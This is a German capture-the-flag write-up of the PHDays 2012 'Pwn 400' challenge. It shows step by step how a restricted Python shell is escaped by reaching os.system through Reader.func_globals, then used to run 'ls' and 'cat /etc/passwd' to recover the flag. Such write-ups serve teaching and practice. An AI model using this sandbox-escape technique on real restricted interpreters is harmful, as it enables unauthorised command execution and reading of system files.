Bei dieser Challenge (Pwn 400) wird ein Server mit Port genannt und der Hinweis gegeben, dass mit der Funktion “Reader()” drei Dateien ausgelesen werden könnten.
Um einen Überblick über die vor uns liegende Aufgabe zu erhalten, verbinden wir uns zunächst mit dem Server und Testen deren Funktionsmöglichkeiten aus:
rup0rt@lambda:~/PHDays2012$ nc ctf.phdays.com 1831 >>> Reader <function Reader at 0x86a28ec> >>> Reader("log.1") <Some ASCII here...> >>> Reader("flag.txt") ValueError : You can't read that shit!
Es handelt sich also um eine Python-Schnittstelle (was die drei “>>>” andeuten). Die Funktion “Reader()” listet uns unter Angabe eines Dateinamens deren Inhalt auf. Dabei können jedoch nur die drei Dateinamen angegeben werden, die in der Aufgabenbeschreibung genannt werden. Andere Namen führen zu einer Fehlermeldung.
Um uns nun weiter voran zu arbeiten, untersuchen wir zunächst die Python-Umgebung und die uns zur Verfügung stehenden Funktionen mit der Methode “dir()”:
>>> dir() ['Reader', '__builtins__', '__doc__', '__file__', '__name__', '__package__', 'a', 'e', 'inp'] >>> dir(__file__) ['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
Wir sehen, dass uns neben der Funktion “Reader()” nicht viel weiteres bereitgestellt wird und auch aus der “file”-Bibliothek die für uns interessanten Funktionen, wie beispielsweise “open()” entfernt wurden. Wir müssen also einen anderen Weg finden, um an die von uns gewünschten Methoden zu gelangen.
Um zu verhindern, dass Benutzer auf Methoden zugreifen, ist es oft nur möglich deren Verknüpfungen (Zeiger) innerhalb der Methoden-Struktur zu löschen. Ein komplettes Entfernen einer Funktion ist eher schwierig, zumal die Methode “Reader()” selbst diverse Dateioperationen benötigt.
Unser Ziel ist es also innerhalb der Methoden-Hierarchie einen Zeiger auf eine für uns vorteilhafte Funktion, zum Beispiel “file.open()” oder “sys.os.system()” zu finden.
>>> dir() ['Reader', '__builtins__', '__doc__', '__file__', '__name__', ... ] >>> dir(Reader) [ ... , 'func_dict', 'func_doc', 'func_globals', 'func_name'] >>> list(Reader.func_globals) [ ... , '__file__', 'sys', 'get_frame', '__name__', ... ] >>> dir(Reader.func_globals['sys']) [ ... , 'maxunicode', 'meta_path', 'modules', 'path', 'path_hooks', ... ] >>> list(Reader.func_globals['sys'].modules) [ ... , 'exceptions', 'sre_parse', 'os', '_weakref', 'dis'] >>> dir(Reader.func_globals['sys'].modules['os']) [ ... , 'sysconf', 'sysconf_names', 'system', 'tcgetpgrp', 'tcsetpgrp', ... ]
Wir haben es geschafft, innerhalb der Methoden-Stuktur von Python den Zeiger auf die Methode “system()” zu finden, mit der Kommandos auf dem System direkt ausgeführt werden können. Diese Funktion können wir nun nutzen um den Key zum Lösen der Challenge innerhalb der Verzeichnisstruktur ausfindig zu machen.
>>> Reader.func_globals['sys'].modules['os'].system("pwd") / 0 >>> Reader.func_globals['sys'].modules['os'].system("ls") bin boot dev etc home lib log.1 log.2 log.3 lost+found media mnt oph opt proc root run sbin selinux srv sys tmp usr var 0
Nachdem auf den ersten Blick nichts auffälliges zu erkennen ist, sehen wir, wie in der vorherigen Challenge auch, in die Datei “/etc/passwd” und erhalten:
>>> Reader.func_globals['sys'].modules['os'].system("cat /etc/passwd")
Wiederum befindet sich der Schlüssel im GECOS-Feld des Benutzers “root”.
Die Lösung lautet somit: “41f20268caa093e1b746e5ca750d3aa0“.